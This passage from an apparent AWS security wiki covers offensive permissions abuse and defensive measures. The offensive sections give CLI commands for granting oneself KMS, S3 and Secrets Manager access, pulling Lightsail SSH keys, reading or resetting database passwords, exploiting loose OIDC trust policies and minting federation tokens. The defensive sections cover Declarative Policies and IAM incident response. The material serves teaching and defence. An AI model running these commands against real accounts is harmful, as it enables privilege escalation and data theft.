* This policy allows the Lambda service in **any** AWS account to assume the role. An attacker only needs to know the ARN of the role

{% code overflow="wrap" %}

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
	  "AWS": "*",
	  "Service": "lambda.amazonaws.com"
	},
      "Action": "sts:AssumeRole"
    }
  ]
}
```

{% endcode %}

### Better policy

* The role assumption is restricted to a particular lambda function within a particular AWS account but [other conditions](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html) can be specified too

{% code overflow="wrap" %}

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Service": "lambda.amazonaws.com"
      },
      "Action": "sts:AssumeRole",
      "Condition": {
        "ArnLike": {
          "aws:SourceArn": "arn:aws:lambda:<Region>:<AwsAccountId>:function:<LambdaFunction>"
        }
      }
    }
  ]
}
```

{% endcode %}

***

## Resources

{% embed url="<https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html>" %}

{% embed url="<https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_iam-condition-keys.html>" %}

{% embed url="<https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements.html>" %}


# Key Management Service (KMS)

Abusable AWS KMS permissions that can lead to compromise or privilege escalation

## kms:CreateGrant

* With this action available, you can provide yourself a Grant to a KMS key and effectively give yourself access.
* Grants are considered along with key policies and IAM policies and are often used for temporary permissions because you can create one, use its permissions, and delete it without changing your key policies or IAM policies.

{% code overflow="wrap" %}

```bash
# create a grant for yourself
aws kms create-grant --key-id <keyId> --grantee-principal <userARN> --operations Decrypt
```

{% endcode %}

{% code overflow="wrap" %}

```bash
# decrypt data with the grant
aws kms decrypt --grant-tokens <grantToken> --ciphertext-blob <cipherText> --key-id <keyId> --output text --query Plaintext | base64 --decode
```

{% endcode %}

***

## kms:PutKeyPolicy

* With this action available, you can update or replace the Key Policy for a KMS key to permit yourself.

{% code overflow="wrap" %}

```bash
# update key policy
aws kms put-key-policy --policy file://key-policy.json --policy-name default --key-id <keyId>
```

{% endcode %}

{% code overflow="wrap" %}

```json
# sample key policy

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::123456789012:role/root"
            },
            "Action": "kms:*",
            "Resource": "*"
        },
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::123456789012:user/<userName>"
            },
            "Action": [
                "kms:*"
            ],
            "Resource": "*"
        }
    ]
}
```

{% endcode %}


# Lightsail

Abusable AWS Secrets Manager permissions that can lead to compromise or privilege escalation

## lightsail:DownloadDefaultKeyPair

* With this action available, you can download the default SSH key pair used by EC2 instances spun up in Lightsail

{% code overflow="wrap" %}

```bash
# download key to a .pem file
aws lightsail download-default-key-pair --query privateKeyBase64 --output text > lightsail.pem

# change permissions 
chmod 400 lightsail.pem

# ssh 
ssh -i lightsail.pem ec2-user@3.91.3.46
```

{% endcode %}

* To know which SSH key is being used for which instance, run&#x20;

{% code overflow="wrap" %}

```bash
# lightsail:GetInstances
aws lightsail get-instances --query 'instances[].sshKeyName' --output text
 
# lightsail:GetInstance
aws lightsail get-instance --instance-name instance-1 --query 'instance.sshKeyName'
```

{% endcode %}

***

## lightsail:GetRelationalDatabaseMasterUserPassword

* Retrieve the master password for the RDS database
* List the RDS database names

{% code overflow="wrap" %}

```zsh
aws lightsail get-relational-databases
```

{% endcode %}

* Retreive the master password for a particular database

{% code overflow="wrap" %}

```zsh
aws lightsail get-relational-database-master-user-password --relational-database-name <database-name>
```

{% endcode %}


# OpenID Connect (OIDC)

Abusing default or poorly configured Identity Provider IAM Trust Policies for privilege escalation

{% hint style="warning" %}
AWS now requires the `sub` field on newly created OIDC providers making this attack path less relevant.&#x20;

However, two considerations remain:

* IAM Roles created prior to this change may still be misconfigured
* Only the Group e.g., `gitlab.com/<group>/` is required for the `sub` meaning if you can access the Group, you may be able to still assume the role from any branch or tag&#x20;
  {% endhint %}

## What is OIDC?

* [OpenID Connect](https://openid.net/developers/how-connect-works/#:~:text=It%20is%20easy%2C%20reliable%2C%20secure,the%20most%20expert%20service%20providers.) is an authentication protocol based on the OAuth 2.0 framework that eliminates the need for storing and managing passwords
* Within AWS, an Identity Provider can be configured for OIDC ID Federation between AWS and the service
* An IAM Role along with its Trust Policy and Permissions policy is created and tied to the Identity Provider

***

## GitLab OIDC with AWS

* GitLab and AWS can integrate via OIDC, allowing GitLab pipelines to authenticate and assume an IAM Role within AWS to manage or deploy resources securely
* If the Role's Trust Policy is misconfigured (or otherwise poorly configured), **any** GitLab pipeline could authenticate to the AWS account (assuming the attacker has identified the AWS Account ID and IAM Role name), exposing its permissions to attackers

### GitLab AWS IAM Role Misconfigured Trust Policy

* This IAM Role Trust Policy allows any connection from GitLab.com&#x20;

{% code overflow="wrap" %}

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::123456789012:oidc-provider/gitlab.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "gitlab.com:aud": "https://gitlab.com"
        }
      }
    }
  ]
}
```

{% endcode %}

### GitLab AWS IAM Role Secure Trust Policy

* To resolve this, it's important to specify [additional conditions](https://docs.gitlab.com/ee/ci/cloud_services/index.html#configure-a-conditional-role-with-oidc-claims) in the IAM Role's Trust Policy e.g.,&#x20;

{% code overflow="wrap" %}

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::123456789012:oidc-provider/gitlab.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "gitlab.com:aud": "https://gitlab.com",
          "gitlab.com:sub": "project_path:Engineering/AWS-Deployments:ref_type:branch:ref:main"
        }
      }
    }
  ]
}
```

{% endcode %}

* This new Trust Policy only allows requests coming from the GitLab Group "Engineering" from the Project "AWS-Deployments" from the "main" branch

### GitLab Exploiting the Misconfigured Trust Policy

{% hint style="warning" %}
CI/CD Variables are also needed for this to work. See my [blog post here](https://blog.pwnedlabs.io/abusing-identity-providers-in-aws) for setup.
{% endhint %}

```yaml
# .gitlab-ci.yml file 
variables:
  AWS_DEFAULT_REGION: us-east-1
  AWS_PROFILE: "oidc"

oidc:
  image:
    name: amazon/aws-cli:latest
    entrypoint: [""]
  id_tokens:
    GITLAB_OIDC_TOKEN:
      aud: https://gitlab.com
  script:
    - aws sts get-caller-identity
```

***

## GitHub Actions OIDC with AWS

* GitHub and AWS can integrate via OIDC, allowing GitHub pipelines to authenticate and assume an IAM Role within AWS to manage or deploy resources securely
* If the Role's Trust Policy is misconfigured (or otherwise poorly configured), **any** GitHub pipeline could authenticate to the AWS account (assuming the attacker has identified the AWS Account ID and IAM Role name), exposing its permissions to attackers

### GitHub Actions AWS IAM Role Misconfigured Trust Policy

This IAM Role Trust Policy allows any connection from GitHub.com&#x20;

{% code overflow="wrap" %}

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::012345678910:oidc-provider/token.actions.githubusercontent.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
        }
      }
    }
  ]
}
```

{% endcode %}

### GitHub Actions AWS IAM Role Secure Trust Policy

* To resolve this, it's important to specify [additional conditions](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-idp_oidc.html#idp_oidc_Create_GitHub) in the IAM Role's Trust Policy e.g.,&#x20;

{% code overflow="wrap" %}

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::012345678910:oidc-provider/token.actions.githubusercontent.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
          "token.actions.githubusercontent.com:sub": "repo:MyOrg/MyRepo:ref:refs/heads/main"
        }
      }
    }
  ]
}
```

{% endcode %}

### GitHub Actions Exploiting the Misconfigured Trust Policy

```yaml
# .github/workflows/main.yml

name: AWS example workflow
on:
  push
env:
  AWS_REGION : "us-east-1"
# permission can be added at job level or workflow level
permissions:
  id-token: write   # This is required for requesting the JWT
  contents: read    # This is required for actions/checkout
jobs:
  exfiltrateData:
    runs-on: ubuntu-latest
    steps:
      - name: Git clone the repository
        uses: actions/checkout@v4
      - name: configure aws credentials
        uses: aws-actions/configure-aws-credentials@v4.0.2
        with:
          role-to-assume: arn:aws:iam::123456789012:role/github # replace with IAM role to assume
          role-session-name: github-role # can be named whatever, shows in AWS logs
          aws-region: ${{ env.AWS_REGION }}

      - name:  get role identity
        run: |
          aws sts get-caller-identity
```


# RDS

Abusable AWS EC2 permissions that can lead to compromise or privilege escalation

## rds:ModifyDBInstance

* With this permission, we can modify the master password of the database's master user

{% code overflow="wrap" %}

```zsh
aws rds modify-db-instance \
    --db-instance-identifier <database-id> \
    --master-user-password 'P@$$word123!' \
    --apply-immediately
```

{% endcode %}


# S3

Abusable AWS S3 permissions that can lead to compromise or privilege escalation

## s3:PutBucketPolicy

* With access to this permission, an attacker could give themselves permissions over the bucket and its contents.&#x20;

{% code overflow="wrap" %}

```bash
aws s3api put-bucket-policy --bucket <bucketName> --policy file://new-bucket-policy.json
```

{% endcode %}

{% code overflow="wrap" %}

```json
# new-bucket-policy.json, adding s3:*

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::1234567890:root"
            },
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::bucket-name"
        },
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::1234567890:user/<userName>"
            },
            "Action": [
                "s3:GetObject"
            ],
            "Resource": "arn:aws:s3:::bucket-name/*"
        }
    ]
}
```

{% endcode %}

***

## s3:PutObjectAcl

* With access to this permission, an attacker could give themselves permissions over the bucket and its contents.&#x20;

{% code overflow="wrap" %}

```bash
aws s3api put-object-acl --bucket <bucketName> --key <objectKey> --access-control-policy file://object-acl-policy.json
```

{% endcode %}

{% code overflow="wrap" %}

```json
# object-acl-policy.json, adding the Grantee:Group

{
    "Owner": {
        "DisplayName": "bucket-owner",
        "ID": "lsjdflsdflnwelknwlefnl23423423423lk234"
    },
    "Grants": [
        {
            "Grantee": {
                "DisplayName": "bucket-owner",
                "ID": "lsjdflsdflnwelknwlefnl23423423423lk234",
                "Type": "CanonicalUser"
            },
            "Permission": "FULL_CONTROL"
        },
        {
            "Grantee": {
                "Type": "Group",
                "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
            },
            "Permission": "FULL_CONTROL"
        }
    ]
}
```

{% endcode %}


# Secrets Manager

Abusable AWS Secrets Manager permissions that can lead to compromise or privilege escalation

{% hint style="info" %}

* Secrets Manager objects are commonly encrypted with KMS keys. If you don't have the `kms:Decrypt` permission on the encryption key, you won't be able to retrieve the secret.
* However, if you have [kms:PutKeyPolicy](/cloud-security/aws/aws-offensive-security/aws-privilege-escalation/permissions-abuse-1#kms-putkeypolicy) permissions then you can grant yourself access to the encryption key
  {% endhint %}

## secretsmanager:PutResourcePolicy

* With access to this action, you can attach a resource-based permission policy to a secret, effectively giving yourself whatever access you want.

{% code overflow="wrap" %}

```bash
aws secretsmanager put-resource-policy --secret-id <secretId> --resource-policy file://secrets-policy.json 
```

{% endcode %}

{% code overflow="wrap" %}

```json
# sample resource policy for secret

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::123456789012:user/<userName>"
            },
            "Action": "secretsmanager:GetSecretValue",
            "Resource": "*"
        }
    ]
}
```

{% endcode %}


# Security Token Service (STS)

Abusable AWS STS permissions that can lead to compromise or privilege escalation

## sts:GetFederationToken

* Returns a set of temporary security credentials (consisting of an access key ID, a secret access key, and a security token) for a federated user

{% code overflow="wrap" %}

```bash
aws_consoler

2024-03-09 14:46:03,754 [aws_consoler.logic] WARNING: Creds still permanent, creating federated session.
https://signin.aws.amazon.com/federation?Action=login&Issuer=consoler.local&Destina
[snip]
```

{% endcode %}

{% embed url="<https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/generate-aws-console-session>" %}


# AWS Defensive Security

AWS defensive security tactics and techniques


# AWS Organizations

Capabilities related to and enabled by AWS Organizations


# Declarative Policies

Centrally declare and enforce your desired configuration for a given AWS service at scale across an organization

## Overview

Released a year ago, AWS Declarative Policies enforce attributes for a handful of services. While this was (and still is) possible using AWS Service Control Policies (SCP), those have limitations such as the number of SCPs attached to an OU, policy size, and more. Declarative Policies provide a way to offload our SCPs, freeing them up for other security considerations.&#x20;

Let's dive into what we can do with Declarative Policies!&#x20;

{% hint style="warning" %}
AWS Organizations must be enabled before Declarative Policies can be enabled and used.&#x20;

Check out my tutorial on [enabling AWS Organizations](/academy/aws-security-cookbook-by-tyler/aws-organizations) if needed.&#x20;
{% endhint %}

***

## Supported Services

Right now, AWS supports 6 services, but will hopefully provide more in the future.&#x20;

* AWS provides a [nice table](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_declarative_syntax.html#declarative-policy-examples) with example policies, so rather than duplicate this, I'll describe the benefits of these policies below.&#x20;

{% hint style="warning" %}
An important consideration before deploying these to your environment -

* If you follow best practices for designing an AWS Organization, you likely have, e.g., all Production accounts under a "Prod" OU (Organizational Unit)
* Declarative Policies **do not support** account-level exceptions, so if one account needs an exception, you can't deploy the policy to the whole OU, and we'll need to get creative&#x20;
  {% endhint %}

### VPC — Block Public Access&#x20;

This type of policy is great when your organization wants to lock down networking and/or have a [centralized ingress/egress network architecture](https://aws.amazon.com/blogs/networking-and-content-delivery/deploy-centralized-traffic-filtering-using-aws-network-firewall/).&#x20;

If enabled, this can help thwart techniques used by threat actors like [Crimson Collective](https://www.rapid7.com/blog/post/tr-crimson-collective-a-new-threat-group-observed-operating-in-the-cloud/#:~:text=Following%20this%2C%20the%20threat%20actor%20attached%20previously%20created%20snapshots%20of%20EBS%20to%20the%20newly%20created%20EC2%20instance%20via%20AttachVolume%20API%20call%2C%20making%20the%20compromised%20data%20available%20through%20an%20EC2%20instance%20with%20permissive%20security%20groups.), who have been known to exfiltrate data through EC2 instances.

This policy supports three configurations:

1. `Off` — Policy is not enabled
2. `Block Ingress` — All traffic to/from VPC is blocked at the Internet Gateway (IGW). NAT Gateways and Egress-only Internet Gateways still work.&#x20;
3. `Block Bidirectional` — All traffic to/from VPC is blocked, no matter which gateway is used

***

### EC2 — Block Serial Console Access

EC2 Serial Console provides access to an EC2's serial port and is used for troubleshooting and configuration. Only certain instance types, like Nitro and bare metal, are supported.&#x20;

If enabled, this can help thwart techniques used by threat actors like [Scattered Spider](https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud#:~:text=Serial%20Console%20Access,are%20hardware%20based.) (LUCR-3), who have been known to leverage this capability - avoiding network detection monitoring since these connections are hardware-based.&#x20;

This policy supports two configurations:

* `On` or `Off`

***

### EC2 — Block Public AMIs

AMIs can contain sensitive data, such as secrets, code artifacts, and other sensitive information. If these AMIs are shared intentionally (or maliciously), it could be a bad day!&#x20;

{% hint style="warning" %}
It's important to note that any existing publicly exposed AMIs will remain public. Make sure you inventory your AWS data regularly to identify these.
{% endhint %}

This policy supports two configurations:

1. `Unblocked` — effectively "off" i.e., policy doesn't block any AMIs from being public&#x20;
2. `Block new sharing` — AMIs cannot be publicly shared after the policy is enabled

***

### EC2 — Allowlist AMIs

This policy restricts which AMIs are authorized to be used and protects against the [whoAMI attack](https://securitylabs.datadoghq.com/articles/whoami-a-cloud-image-name-confusion-attack/), i.e., essentially malicious AMIs posing as legitimate offerings from known vendors.  I also have a [blog post](https://blog.pwnedlabs.io/defending-against-the-whoami-attack-with-aws-declarative-policies) describing how to implement these policies to protect against this attack.&#x20;

The configuration options for this policy have increased since the release — nice!

So, first, you choose the policy state:

1. `Enabled` — policy is enforced
2. `Disabled` — policy is disabled
3. `Audit Mode` — policy only audits violations — man, I wish this were an option for other AWS security policies!!

Then you choose some `Image Critera` to narrow down what to allow vs not.

***

### EC2 — Configure IMDS Settings&#x20;

This policy enables you to enforce IMDSv2 for EC2 instances, which better protects against Server-Side Request Forgery (SSRF) attacks. This attack led to a [data breach](https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/) of over 106 million Capital One customers in 2019, and it's [still an issue](https://www.f5.com/labs/articles/campaign-targets-amazon-ec2-instance-metadata-via-ssrf#:~:text=During%20March%202025%20we%20observed%20a%20four%2Dday%20flurry%20of%20activity%20attempts%20to%20compromise%20EC2%20Instance%20Metadata%20being%20inadvertently%20exposed%20by%20web%20sites%20through%20Server%2DSide%20Request%20Forgery%20\(SSRF\).) even today!&#x20;

We have a few configuration options for this policy:

1. `http_tokens`
   * `No Preference` — defaults to the AMI's configuration
   * `Required` — enforces IMDSv2
   * `Optional` — allows both IMDSv1 and v2
2. `HTTP Put Response Hop Limit` — Setting depends on environment
3. `HTTP Endpoint` &#x20;
   * `No Preference` — defaults to the AMI's configuration
   * `Enabled` — enables the IMDS service
   * `Disabled` — disables the IMDS service
4. Instance Metadata Tags
   * `No Preference` — defaults to the AMI's configuration
   * `Enabled` — any tags on the EC2 are available in IMDS
   * `Disabled` — EC2 tags are not available in IMDS

***

### EBS — Block Public Snapshots

Public EBS Snapshots, much like public AMIs or [public RDS snapshots](https://www.darkreading.com/cloud-security/thousands-amazon-rds-snapshots-leaking-corporate-pii), can contain sensitive data as they're backups of EC2 instances in the AWS account.&#x20;

This policy supports three configurations:

1. `Unblocked` — effectively "off" i.e., policy doesn't block any EBS snapshots from being public&#x20;
2. `Block all sharing` — any current public EBS snapshot (or attempts in the future) are blocked, and private
3. `Block new sharing` — only new attempts to make an EBS snapshot public are blocked, any existing public snapshots remain public


# AWS Incident Response

Responding to AWS-related incidents


# Compromised IAM Credentials

How to respond to compromised IAM Credentials

## Overview

At some point, you'll likely be dealing with compromised AWS IAM credentials. It's important to  know how to appropriately respond to this while also understanding both the potential limitations of the response and ways in which threat actors can circumvent it.&#x20;

The response process is going to be different depending on the type of identity that was compromised.&#x20;

***

## IAM Users

IAM Users can have a username and password for accessing the AWS console and also have access keys. Regardless of which set of credentials were compromised, the response process is the same.&#x20;

### Revoking the Session — Quarantine Policy (Not Recommended)

AWS offers a managed IAM Policy called `AWSCompromisedKeyQuarantine` . The aim of the policy is to restrict a threat actor from escalating their privileges and maintaining access while allowing legitimate users to carry on with minimal to no impact.&#x20;

Let's first discuss how this response process works and then we'll dive into the limitations, bypasses, and better response process.&#x20;

After we discover IAM User credentials have been compromised, we can attach the IAM Policy `AWSCompromisedKeyQuarantine` to the user. As you can see from the screenshot, this policy denies certain actions that a threat actor might take to escalate or maintain their privileges. You can view the whole [policy here](https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSCompromisedKeyQuarantine.html). Remember that a Denied permission always takes precedence over an Allowed permission.&#x20;

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FQ8Avk5DIhOyimNABj3Oe%2FCleanShot%202025-08-24%20at%2014.50.26%402x.png?alt=media&amp;token=d6a8f623-50f2-4dfe-94f1-48512c6c992f" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
aws iam create-access-key --user-name admin

An error occurred (AccessDenied) when calling the CreateAccessKey operation: User: arn:aws:iam::111111111111:user/bob is not authorized to perform: iam:CreateAccessKey on resource: user admin with an explicit deny in an identity-based policy
```

{% endcode %}

### Limitations of the Quarantine Policy

Over the years this policy has been updated by AWS and now, as of the time of this writing, comes in three different versions — [version1](https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSCompromisedKeyQuarantine.html), [version2](https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSCompromisedKeyQuarantineV2.html), and [version3](https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSCompromisedKeyQuarantineV3.html). While version 2 and version 3 are the same for some reason, version 2 added more denied permissions vs the version 1 policy e.g., version 1 didn't deny S3 actions or Bedrock actions.

However, if a threat actor has legitimate access to access keys, why do you want them having *any* access to your resources? You shouldn't.&#x20;

### Revoking the Session — Deny All (Recommended)

The best approach to take would be adding the `AWSDenyAll` IAM Policy to the IAM User, effectively denying all AWS permissions!

{% code overflow="wrap" %}

```json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "DenyAll",
            "Effect": "Deny",
            "Action": [
                "*"
            ],
            "Resource": "*"
        }
    ]
}
```

{% endcode %}

Additionally, you should deactivate and delete the compromised access keys. You can create new ones if they're still needed.&#x20;

***

## IAM Roles

Unlike IAM Users, IAM Roles do not have long-term access keys. Instead, they have short-term credentials which expire anywhere from 15 minutes to 12 hours depending on the configuration. When IAM Roles are assumed, it's called a session.&#x20;

While IAM Roles can be assumed by human users, they are also commonly assumed by AWS Services like EC2 or Lambda to perform legitimate workloads. Thus attaching an IAM Policy that denies everything will very likely cause disruption, potentially taking down Production!&#x20;

So what do we do here?&#x20;

### Revoking the Session

We can revoke the session. This will cause current sessions to be revoked and the identity (user/role/service) will need to re-authenticate to obtain valid credentials again. AWS Services will automatically re-authenticate (applications that leverage a role should be programmed to do this too) but human users will need to re-authenticate themselves. So, there shouldn't be any impact to workloads but there will be some minor annoyance to users.&#x20;

We can revoke the session by either updating the role's IAM Policy with this Condition,&#x20;

{% code overflow="wrap" %}

```json
"Condition": {
      "DateLessThan": {"aws:TokenIssueTime": "2025-08-24T02:00:00Z"}
    }
```

{% endcode %}

or we can simply attach an additional IAM Policy to the role,&#x20;

```json
{
  "Version": "2012-10-17",
  "Statement": {
    "Effect": "Deny",
    "Action": "*",
    "Resource": "*",
    "Condition": {
      "DateLessThan": {"aws:TokenIssueTime": "2025-08-24T02:00:00Z"}
    }
  }
}

```

Either approach will work fine! All we're doing here is saying that if the token (the session credentials) is older than this date/time (make sure this is a date/time after you discovered the compromised credentials) then no AWS actions can be performed.&#x20;

And now identities will need to re-authenticate to get new credentials.&#x20;

{% hint style="danger" %}
This approach assumes the threat actor doesn't have the ability to assume the role (re-authenticate) and get new credentials. If they do, then this approach will not work!&#x20;

It's important to understand how the threat actor obtained the credentials in the first place!
{% endhint %}

***

## Identity Center (SSO) Users

Identity Center Users are a bit more complex to revoke credentials for.&#x20;

### Revoking the Session

[AWS recommends](https://docs.aws.amazon.com/singlesignon/latest/userguide/revoke-user-permissions.html#:~:text=In%20the%20IAM%20Identity%20Center,the%20IAM%20Identity%20Center%20console.) the following actions,&#x20;

1. Find the user id

{% code overflow="wrap" %}

```sh
# get the identity store id
aws sso-admin list-instances --region <where-identity-center-is-setup>

{
    "Instances": [
        {
            "InstanceArn": "arn:aws:sso:::instance/ssoins-74542342df6jfdfdf",
            "IdentityStoreId": "d-90664837e4",
            "OwnerAccountId": "111111111111",
            "CreatedDate": "2025-08-24T16:32:49.311000-06:00",
            "Status": "ACTIVE"
        }
    ]
}
```

{% endcode %}

{% code overflow="wrap" %}

```bash
# get the user id
aws --region <where-identity-center-is-setup> identitystore list-users --identity-store-id d-90664837e4 | jq -r '.Users[] | select(.UserName == "tyler") | .UserId' 

81r8b4f8-e0d1-54lb-90c6-d08b7398d66a2
```

{% endcode %}

2. Add an SCP denying all actions for the Identity Center User and **keep this in place for as long as as your session duration is configured for Identity Center authentication** (between 1 hour to 90 days). Otherwise, the threat actor will have regained their access

{% code overflow="wrap" %}

```json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Deny",
            "Action": [
                "*"
            ],
            "Resource": "*",
            "Condition": {
                "StringEquals": {
                    "identitystore:userId": [
                        "81r8b4f8-e0d1-54lb-90c6-d08b7398d66a2"
                    ]
                }
            }
        }
    ]
}

```

{% endcode %}

3. Remove all permission set assignments from the Identity Center User — including those the threat actor is not using because if they still have access to the AWS session, they can use other roles

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FD0BZa5WExS6gcRhgIGiF%2FCleanShot%202025-08-24%20at%2017.09.55%402x.png?alt=media&amp;token=df13e068-087e-4c74-a4e0-f0e535fd0144" alt=""><figcaption></figcaption></figure>

4. (If using an Identity Provider like Okta, Active Directory or something else) you must disable the user in the identity source or else the threat actor may establish another AWS session
5. Delete the active session in Identity Center for the compromised user

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FonjCLPItfPBvLFA4ViBo%2FCleanShot%202025-08-24%20at%2016.41.48%402x.png?alt=media&amp;token=f28159ac-4fda-4295-be33-0e3d98a2e854" alt=""><figcaption></figcaption></figure>

6. Disable the user in Identity Center

<figure><img src="https://2721275171-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8yu8YbDfwd1VqEdUxGyA%2Fuploads%2FE1R7ee0TI8rE47mfuDqr%2FCleanShot%202025-08-24%20at%2017.06.36%402x.png?alt=media&amp;token=544ae27f-d602-4d74-8373-4b4d2c080e3a" alt=""><figcaption></figcaption></figure>

7. After the SCP has remained in place for the length of the Identity Center authentication configuration,&#x20;
   1. Remove the user from the SCP
   2. Update the user's credentials (if those were compromised)
   3. Restore their AWS account/permission set assignments

***

## Additional Considerations

* You may be tempted to simply remove the IAM Permissions from the compromised identity. While this would effectively stop the threat actor from doing anything with the credentials, the credentials are still active. If permissions are later re-applied, the threat actor would now have permissions again — assuming the credentials are still active.&#x20;
* After a threat actor obtains legitimate IAM access keys, they may perform the call `aws sts get-federation-token` . This enables the threat actor to obfuscate their actions further e.g.,&#x20;

{% code overflow="wrap" %}

```bash
aws sts get-federation-token --name sally --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess --duration-seconds 129,600
```

{% endcode %}

In this case, the threat actor now gains temporary credentials (valid from 15 min - 36 hours). The important things to know here:

* The `name` can be anything — this is simply what shows up in the logs, it doesn't need to be a real identity
* At least one (up to 10) managed or inline policy needs to be passed or else the session credentials will have no permissions
* The ultimate permissions of this session is the intersection of the user (who runs this command) and the permission policies passed in the command. So, if the administrator policy is used but the user running the command can only list S3 buckets, then the session credentials can only list S3 buckets
* If the user's permissions are later updated e.g., now they can create IAM users, then the session credentials can now create IAM users — you do not need to re-generate credentials!&#x20;
* Additionally, if you apply the quarantine or deny all policy, this federated user will also be denied those actions — again because "the ultimate permissions of this session is the intersection of the user and the permission policies passed in the command"


# AWS Threat Matrix

AWS attacks and techniques aligned to MITRE ATT\&CK Matrix

{% embed url="<https://aws-samples.github.io/threat-technique-catalog-for-aws/>" %}


# AWS Services Info

General information about AWS and its services


# AI / Machine Learning

AWS AI and Machine Learning Related Services


# Amazon Bedrock

Amazon Bedrock overview, attacks, and mitigations.

An interesting blog post covering some attacks and mitigations for Amazon Bedrock.

{% embed url="<https://www.mitigant.io/en/blog/bedrock-or-bedsand-attacking-amazon-bedrocks-achilles-heel>" %}

***

## Offensive Security Tactics & Techniques <a href="#offensive-security-tactics-and-techniques" id="offensive-security-tactics-and-techniques"></a>

{% embed url="<https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/enumerate-aws-account-ids#using-amazon-bedrock-api-keys>" %}

{% embed url="<https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/data-poisoning-bedrock-knowledge-base>" %}


# Compute

AWS Compute-Related Services


# EC2

EC2 overview and attacks

## Overview

* Provides on-deman virtual compute resources

***

## Capabilities

### IMDS

* Instance Metadata Service (IMDS)&#x20;
* Runs on every EC2 instance by default but [can be disabled](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-new-instances.html#configure-IMDS-new-instances--turn-off-instance-metadata)
* [IMDSv2](https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/) should be used when enabled (more secure)
* Retrieves [user-data or meta-data](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) e.g. user-data may contain hard-coded secrets, and meta-data has details on the instance itself like IP, hostname, Instance Profile creds, etc.&#x20;
* Available on the following URIs:
  * IPv4 `http://169.254.169.254/latest/meta-data/`
  * IPv6 `http://[fd00:ec2::254]/latest/meta-data/`

#### Get User-Data

* `aws ec2 describe-instance-attribute --instance-id "instanceId" --attribute userData`
* [EC2userDataDumper.sh](https://github.com/cloudbreach/CloudBreach_AWSScripts/blob/master/EC2userDataDumper.sh) - Simple bash script leveraging the aws cli, enumerates all ec2 instances, and returns decoded user-data

#### Get Instance Profile Credentials

* If the instance has an IAM role attached to it, find it here, `http://169.254.169.254/latest/meta-data/iam/security-credentials/<IamRoleName>`
* Similarly, another path exists `meta-data/identity-credentials/ec2/security-credentials/ec2-instance⁠` but this is used for AWS Services like SSM or EC2 Instance Connect. These are not valid credentials that can be used in API calls.&#x20;

***

## Offensive Security Tactics & Techniques <a href="#offensive-security-tactics-and-techniques" id="offensive-security-tactics-and-techniques"></a>

### Privilege Escalation

{% embed url="<https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-privilege-escalation/ec2>" %}

